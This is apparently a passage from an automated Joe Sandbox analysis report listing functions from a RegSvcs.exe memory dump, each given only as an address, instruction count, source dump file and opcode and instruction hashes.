                                                          Function 0159AB40 Relevance: .2, Instructions: 222COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e20f57e4ff007d65908e0e6f7ea2c5d260c397918ed067619b1479e5480266a4
                                                          • Instruction ID: e43befd4090ff83689a1ff04ec05f8c4b0b71afa6be6e35ec827400b946e9815
                                                          • Opcode Fuzzy Hash: e20f57e4ff007d65908e0e6f7ea2c5d260c397918ed067619b1479e5480266a4
                                                          • Instruction Fuzzy Hash: 4A818172A0025A9FDF19CF99C480AAEBBF6FF84310F188569E9169F385D734E901CB51
                                                          Function 0150E284 Relevance: .2, Instructions: 212COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 2848ca239ae28f30e1b94aaadd2d671c96856a192a96058100804b421d2225ec
                                                          • Instruction ID: d7da9b6bfb26cc8689fb7b4fb5c925cd641905c213258da972b299c2db8ebd12
                                                          • Opcode Fuzzy Hash: 2848ca239ae28f30e1b94aaadd2d671c96856a192a96058100804b421d2225ec
                                                          • Instruction Fuzzy Hash: 76814471900609EFDB26CFA9C881BDEBBF9FF88354F144829E555AB250D770AC45CB60
                                                          Function 014EC640 Relevance: .2, Instructions: 206COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: c246427ed0e9971b5b3197b475a2f61d184439ba14d3afe3b8dae6fc0741e3d8
                                                          • Instruction ID: 3571d435118ce68f3575c1ab36335a9157379e44d59f7a9f314289b817864103
                                                          • Opcode Fuzzy Hash: c246427ed0e9971b5b3197b475a2f61d184439ba14d3afe3b8dae6fc0741e3d8
                                                          • Instruction Fuzzy Hash: 5B71CE75D006669FCB2A8F59C4947FEBBF0FF98710F15461AE952AB360D3309805CBA0
                                                          Function 015847A0 Relevance: .2, Instructions: 202COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d9d5116f7c86e7abd1360e1656af73175ea945c11b0d525754b3cfb375bbfbe9
                                                          • Instruction ID: 70622716ef5f362944d9668fa783d6f4f1eacd98c60413c8ac211c7d0ab218a2
                                                          • Opcode Fuzzy Hash: d9d5116f7c86e7abd1360e1656af73175ea945c11b0d525754b3cfb375bbfbe9
                                                          • Instruction Fuzzy Hash: 9C718E70900606EFDB20EF99D944A9EFBF9FF94700F12815AEA10AF358D7B18A44DB54
                                                          Function 014E260B Relevance: .2, Instructions: 201COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 593585837946b2297e8b43e1fb8054b11174ef3b8b3febefbab6eb6b5e8b8ad0
                                                          • Instruction ID: 5a497a56421d589139e95d3e15eb0593248d798949a39e6e71ef3e4f614d2754
                                                          • Opcode Fuzzy Hash: 593585837946b2297e8b43e1fb8054b11174ef3b8b3febefbab6eb6b5e8b8ad0
                                                          • Instruction Fuzzy Hash: 4D7103756042429FD312DF28C484F2AB7E9FF84311F0485AAE898CB361DBB4DC46CB91
                                                          Function 0155035C Relevance: .2, Instructions: 198COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: f01f26b9d4523bb8af8d0dc1087c2bf1dc413617a4b2b84ce5c3b8fc37ed168b
                                                          • Instruction ID: 6794164196d9ef4428f75d063c10133614df2c35cf4b6046d90fd55c1a9b5f90
                                                          • Opcode Fuzzy Hash: f01f26b9d4523bb8af8d0dc1087c2bf1dc413617a4b2b84ce5c3b8fc37ed168b
                                                          • Instruction Fuzzy Hash: 7171727190061AEFDB11DFA9C994EDEBBF8FF94704F10456AE905AB290DB30EA41CB50
                                                          Function 015662A0 Relevance: .2, Instructions: 198COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 508f49babace33c7d5c883c68c34f5c83a2bc8aa7d4afe1b104627c6544489d8
                                                          • Instruction ID: 45515acbc952ce140d908a897e6e4549ac31d14e1a3b8366e797ed724a359166
                                                          • Opcode Fuzzy Hash: 508f49babace33c7d5c883c68c34f5c83a2bc8aa7d4afe1b104627c6544489d8
                                                          • Instruction Fuzzy Hash: 4C71D532200702AFE732DF18C894F5ABBEAFF44761F154918E6568F2A1D775E944CB90
                                                          Function 015A8324 Relevance: .2, Instructions: 192COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 54a5fa8fc0832adca0ed4af89843f986a1c37c36abd4bd64624d840bd5843cc4
                                                          • Instruction ID: a1ecce2a13ffa4e83f6f97ea818eda0e776feaacac4fc1de93f984e21c2748dc
                                                          • Opcode Fuzzy Hash: 54a5fa8fc0832adca0ed4af89843f986a1c37c36abd4bd64624d840bd5843cc4
                                                          • Instruction Fuzzy Hash: 9E712D71E4020ABFEB16DF94CC41FEEBBB8FB04351F504559E610AB290D774AA05CBA0
                                                          Function 0158A250 Relevance: .2, Instructions: 184COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: b4c7565c4df7d8e88d1b4497a6c968974a78724952ba3ffc7f26905575fbdf41
                                                          • Instruction ID: 46b559e7839b51bf6b8671ec02c66b32a5efeef090680614fdeefe10f424c44a
                                                          • Opcode Fuzzy Hash: b4c7565c4df7d8e88d1b4497a6c968974a78724952ba3ffc7f26905575fbdf41
                                                          • Instruction Fuzzy Hash: D551A172505712AFDB12EE68C844E5BBBE8FBC5750F01492ABA40EF160E770ED05C7A2
                                                          Function 01578350 Relevance: .2, Instructions: 161COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 437004e753d2e86e7fdd8d61da680c3bcb824e8108354af4be5db493257f88e4
                                                          • Instruction ID: 02eb0d68cc2624b7157ad0d6cb54da655d830e701a26b19980e91d339d8cb6b2
                                                          • Opcode Fuzzy Hash: 437004e753d2e86e7fdd8d61da680c3bcb824e8108354af4be5db493257f88e4
                                                          • Instruction Fuzzy Hash: CF51C170900706DFD721CF6AD889A6BFBF9BF94714F104A1ED2925B6A0C7B0A545CB90
                                                          Function 0150E443 Relevance: .2, Instructions: 158COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 8715ca26fdb4198b91bc70e68b43a16b3773cbbd538b5a0896001935f2587005
                                                          • Instruction ID: 01a88b58378a17bb7438e9d0431e8ad72fb97fe07ef28b2a35758b4019b1b50d
                                                          • Opcode Fuzzy Hash: 8715ca26fdb4198b91bc70e68b43a16b3773cbbd538b5a0896001935f2587005
                                                          • Instruction Fuzzy Hash: DB518F71200A05DFDB23EFA9C985E6AB3F9FF58744F51086EE5428B2A0D734E950CB50
                                                          Function 01574180 Relevance: .2, Instructions: 156COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 4c616abe1f483925c03df36b166a916ddba7f698b1964d399e35e982d5f6851f
                                                          • Instruction ID: 01a4b6483b8e47e3c6ec1fa037962820f752b386b24256f6ca6c3f77fbc2b276
                                                          • Opcode Fuzzy Hash: 4c616abe1f483925c03df36b166a916ddba7f698b1964d399e35e982d5f6851f
                                                          • Instruction Fuzzy Hash: A05167716083028FD750DF29E882A6FBBE5BFD8218F44492EF589CB250EB30D945CB52
                                                          Function 014F45B1 Relevance: .2, Instructions: 156COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 0d00e1a585e90d849ff2aa0c284c489e35fe4af6d50ef2092e2439a8439fa3dd
                                                          • Instruction ID: 18ba994b388f12280f080579a88253e927f6c7535e30bd6933047789bb7eb514
                                                          • Opcode Fuzzy Hash: 0d00e1a585e90d849ff2aa0c284c489e35fe4af6d50ef2092e2439a8439fa3dd
                                                          • Instruction Fuzzy Hash: F0517C75E0021AABDF15DF98C440BAFBBF5AF45354F08406EEA01AB360DB34DA45CBA4
                                                          Function 0155E9E0 Relevance: .2, Instructions: 154COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: b631fe1f52208cb18c131e5291272d5615ec6cd8030edbb8dd5fe07777775a1e
                                                          • Instruction ID: 98239632aedf0f43d9f91f5df672e8e1aa8de7f65467f553526f584441dbddca
                                                          • Opcode Fuzzy Hash: b631fe1f52208cb18c131e5291272d5615ec6cd8030edbb8dd5fe07777775a1e
                                                          • Instruction Fuzzy Hash: 3151B671D0020AABEF519E94C8A6BAEFBB5FB40325F114667DD126F190D7709F4187A0
                                                          Function 01598B28 Relevance: .2, Instructions: 152COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 3e8ec89bc7eca867c5758446c25a233898a6c92df0abfc259b31a313b71b5775
                                                          • Instruction ID: 4ff1f5da7ec0fbbacb5382eca80dbd7bedc5a45a85f4ecec128226775b324f32
                                                          • Opcode Fuzzy Hash: 3e8ec89bc7eca867c5758446c25a233898a6c92df0abfc259b31a313b71b5775
                                                          • Instruction Fuzzy Hash: C941D77170164A9BDF25DB2DC894F7FBB9BFF92220F084519E9158F281D734D801C692
                                                          Function 0155CBF0 Relevance: .1, Instructions: 148COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: b96aa02e2eedea60b82b93a8fcf50719e5d9284b0998cd8e0f73bbcb84aa7515
                                                          • Instruction ID: 47e63327b5190bbf62c615e2f158d680a7140af53476336bd8418567f1579da0
                                                          • Opcode Fuzzy Hash: b96aa02e2eedea60b82b93a8fcf50719e5d9284b0998cd8e0f73bbcb84aa7515
                                                          • Instruction Fuzzy Hash: 1E518C72900316DFCB60DFA9C9909AEBBF9FF58358B11451AD956AB300DB70AA41CB90
                                                          Function 0150A430 Relevance: .1, Instructions: 139COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 2ade32e400a2574c7d891ddec6c235513b9d6a9d20815c103b6ad089c7d2865d
                                                          • Instruction ID: 5537de3a36690ec544acf6eeee52adc8a410bda8c05fec940b79438f2b347baf
                                                          • Opcode Fuzzy Hash: 2ade32e400a2574c7d891ddec6c235513b9d6a9d20815c103b6ad089c7d2865d
                                                          • Instruction Fuzzy Hash: D44124726407029FDB27EFA99881F6E77AAFB95708F02042DED529F281D7B2D8048751
                                                          Function 0159A9D3 Relevance: .1, Instructions: 139COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 7622aca86cac28a0acf118705f69cf0cc3cb486fddc0e93dd45dfd5b9ea80ff7
                                                          • Instruction ID: ffadf41992873d709272866f5a3020a65ff3e0c03feda0a9bd3a569ffe2b8d44
                                                          • Opcode Fuzzy Hash: 7622aca86cac28a0acf118705f69cf0cc3cb486fddc0e93dd45dfd5b9ea80ff7
                                                          • Instruction Fuzzy Hash: 9B41E7316017169FDF25CF68C984A6EB7E9FF90214B05462EE9128F640EB74ED04C7E2
                                                          Function 015001F8 Relevance: .1, Instructions: 138COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: f75ef20d251ed953e1134f67de229643b11658263bc7247008de5959487b3658
                                                          • Instruction ID: 9bf617e717736eb42939ebb2fbd398b06e48b27c9de79505693761fb1e058942
                                                          • Opcode Fuzzy Hash: f75ef20d251ed953e1134f67de229643b11658263bc7247008de5959487b3658
                                                          • Instruction Fuzzy Hash: AB41C932A0021A9BDB12DFD8C440BEEBBB4BF88750F14816AF905EB2C0D7359C41CBA4
                                                          Function 014FEBFC Relevance: .1, Instructions: 138COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 6a510b05102c057099465379d6ceeb2927e5a3ffd96157f8f99e0a2ef4c28820
                                                          • Instruction ID: 07299e118de0c5209aff31a04d114d75f2f152431aac8b47b902150ce8148bf0
                                                          • Opcode Fuzzy Hash: 6a510b05102c057099465379d6ceeb2927e5a3ffd96157f8f99e0a2ef4c28820
                                                          • Instruction Fuzzy Hash: 2B41B1716003029FD721DF29C888A2BB7E9FF94215F01482FE656D7731DB71E8458B51
                                                          Function 01512750 Relevance: .1, Instructions: 137COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: f9143dc9ab32c0c56755980999bbdd100a6c23c33ec6549c8632214e05dba9ed
                                                          • Instruction ID: e9a28d5cbc6ba7c54e961705f1528aaacba23643d58389bd131d02cfb5a88c17
                                                          • Opcode Fuzzy Hash: f9143dc9ab32c0c56755980999bbdd100a6c23c33ec6549c8632214e05dba9ed
                                                          • Instruction Fuzzy Hash: D6517B75A40215CFDB55CF98C480AAEF7F2FF84714F2481A9D916AB355E730AE42CB90
                                                          Function 014D6154 Relevance: .1, Instructions: 133COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: ac5cdebbeb651a30fe79337bb17ea49f8cb5514b799a4feefe4780d9d0fe7ae7
                                                          • Instruction ID: 1ff0b0096298bfe5ca642277a4cba5c75c79799c2ba3d34cd4f16d5a933dbd27
                                                          • Opcode Fuzzy Hash: ac5cdebbeb651a30fe79337bb17ea49f8cb5514b799a4feefe4780d9d0fe7ae7
                                                          • Instruction Fuzzy Hash: 9E510370A002069FDF26DB68CC14BA9BBF1FF55314F0582AAE529AB3E1D7749981CF40
                                                          Function 014D0BCD Relevance: .1, Instructions: 130COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 717308f5fccf96ac0159c3caa9459b56ab9a96e2d0530396decbd0fc200b7e62
                                                          • Instruction ID: 6237ce52073ef022329035a9d2dd139e35950034c033a67238e30f4a63c4bd1b
                                                          • Opcode Fuzzy Hash: 717308f5fccf96ac0159c3caa9459b56ab9a96e2d0530396decbd0fc200b7e62
                                                          • Instruction Fuzzy Hash: 0941A372A002299BDF21DF69C945BEE77B4FF55740F0100AAE908AF291D774DE81CB91
                                                          Function 0159866E Relevance: .1, Instructions: 129COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 52a1741bb7668dbd0e330b4cee233e7836a49f18a3e4eafb0fad66dd8014cf6e
                                                          • Instruction ID: f39bf9520435b9798ce714075494805d9590a8f7fae82a153750588329afa6f0
                                                          • Opcode Fuzzy Hash: 52a1741bb7668dbd0e330b4cee233e7836a49f18a3e4eafb0fad66dd8014cf6e
                                                          • Instruction Fuzzy Hash: 4641A675B0010AABDF15DF99CC84AAFBBBABF99600F244069E504AF341D771DD01C7A1
                                                          Function 014D0887 Relevance: .1, Instructions: 128COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 39e4eb021ae33de2f938dbb708f9838ef225bed36c77d3c078a74a21fdc840b5
                                                          • Instruction ID: 52f31cab697d42c2c66f868051ae70c9f910f6513b8a71eff6946c63d3dd4881
                                                          • Opcode Fuzzy Hash: 39e4eb021ae33de2f938dbb708f9838ef225bed36c77d3c078a74a21fdc840b5
                                                          • Instruction Fuzzy Hash: 9841B3B16007029FEB25CF29C5A0926B7F9FF45314F104AAFE54787660E770E846CB90
                                                          Function 014FA470 Relevance: .1, Instructions: 127COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 5659404d5ecbea99f338efd41153d5f6500996f1c500ce3fd1cf586bd723c05b
                                                          • Instruction ID: 22af9cdcea6025b65a714e5ccda853fd92c07d43f9701d47c3932786c8835565
                                                          • Opcode Fuzzy Hash: 5659404d5ecbea99f338efd41153d5f6500996f1c500ce3fd1cf586bd723c05b
                                                          • Instruction Fuzzy Hash: C941E132940606CFDB21CF68C498BAE7BF0FB58310F25116ED625AF3A5DB349905CBA4
                                                          Function 014D8BF0 Relevance: .1, Instructions: 124COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: dc611be227acaa900659df390abfeb76157b04e3b95b935b877413b3ee58bbf6
                                                          • Instruction ID: 8cb46c82732f11732d3d509fc40b50147acb09e7854b2ced049967f3beb818c3
                                                          • Opcode Fuzzy Hash: dc611be227acaa900659df390abfeb76157b04e3b95b935b877413b3ee58bbf6
                                                          • Instruction Fuzzy Hash: DE41FF32A01607CFDB249F59C8A0A6ABBB5FFA4B14F15802FD9219F365C775D842CB90
                                                          Function 014C8918 Relevance: .1, Instructions: 123COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: f9f6022b2cc18a8043b254ae9749deadf3edd1bdcece4524c9b33b4560045f8d
                                                          • Instruction ID: f42127f41eb648ee9f4febdc2044b9ec9764d3b04c60758df83c491b1102d193
                                                          • Opcode Fuzzy Hash: f9f6022b2cc18a8043b254ae9749deadf3edd1bdcece4524c9b33b4560045f8d
                                                          • Instruction Fuzzy Hash: 68414E765083169ED312DF658840AABB7E9BF84B54F44092FF985DB260E730DE058BA3
                                                          Function 014CA020 Relevance: .1, Instructions: 122COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 165ca662f4b1c8196e57a2c4173bd848e06efaa623a98917432a96e6c9651090
                                                          • Instruction ID: 790d5fb366e08b068858094749eeecf6452cf04e2b10c6c8737a6f8142953695
                                                          • Opcode Fuzzy Hash: 165ca662f4b1c8196e57a2c4173bd848e06efaa623a98917432a96e6c9651090
                                                          • Instruction Fuzzy Hash: 21415C76A00229DBDB11DE1E8480BBEB7B1FB51B95F25806FEA508F291E6328D40C791
                                                          Function 014D09AD Relevance: .1, Instructions: 122COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 745ae95be303f54ac16c40168646d340fded851174a216a5e1564bf87129f00f
                                                          • Instruction ID: 49bb8afb2051c7bcec07a14b4a63e953dbff7531bff86220b070f284e8d5a9ca
                                                          • Opcode Fuzzy Hash: 745ae95be303f54ac16c40168646d340fded851174a216a5e1564bf87129f00f
                                                          • Instruction Fuzzy Hash: EE415672640601EFDB21CF19C850B26BBF4FF68314F248A6BE449CB361E771E9428B91
                                                          Function 01500710 Relevance: .1, Instructions: 121COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: cfe855aa5370e709d3beaf8d0a0824e85895befd2a0058a9eb758e5aacecaf96
                                                          • Instruction ID: c81975e23fe6f852c99b445299e09092e4c2a8db15aba49acbe4c249a760729b
                                                          • Opcode Fuzzy Hash: cfe855aa5370e709d3beaf8d0a0824e85895befd2a0058a9eb758e5aacecaf96
                                                          • Instruction Fuzzy Hash: 93410675A00605EFDB26CF99C980BAABBF8FF18740B10496DE556DB691D330AA44CB90
                                                          Function 014D262C Relevance: .1, Instructions: 119COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d5b86f2d4a416c5e3123724ad89dcc511502341d0b947af3293cda37832941f9
                                                          • Instruction ID: 21783ebea3ef133d099b9883bb20c5b3c040b62397496d8c562bebfdc2d589e5
                                                          • Opcode Fuzzy Hash: d5b86f2d4a416c5e3123724ad89dcc511502341d0b947af3293cda37832941f9
                                                          • Instruction Fuzzy Hash: 73419CB1501701CFCB22EF69C910A6AB7F1FF95710F1586AEC41A9B3B1DBB09A42CB51
                                                          Function 0150C8F9 Relevance: .1, Instructions: 116COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
